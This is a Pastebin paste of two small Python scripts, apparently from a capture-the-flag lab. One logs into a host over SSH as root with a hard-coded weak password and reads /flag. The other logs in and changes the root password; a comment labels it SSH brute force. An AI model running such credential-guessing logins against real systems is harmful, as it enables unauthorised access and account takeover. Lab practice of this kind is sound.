Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/env python
- # -*- coding:UTF-8 -*-
- #__author__="周品良"
- import paramiko
- client = paramiko.SSHClient()
- client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
- client.connect('192.168.133.131', 22, username='root', password='123456', timeout=4)
- stdin, stdout, stderr = client.exec_command('cat /flag')
- for std in stdout.readlines():
- print (std)
- client.close()
- import pexpect
- if __name__ == '__main__':
- uname = 'root'
- ip = '192.168.133.134'
- upasswd = '123'
- #enter = '\'
- passwd='1234'
- child = pexpect.spawn('ssh {}@{}'.format(uname,ip))
- child.expect("root@192.168.133.134\'s password:")
- child.sendline(passwd)
- child.expect('Enter new UNIX password:')
- child.sendline(upasswd)
- print ('ok')
- child.expect('Retype new UNIX password: ')
- child.sendline(upasswd)
- print ('ok1')
- child.expect('passwd: password updated successfully')
- print('access')
- #ssh爆破
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement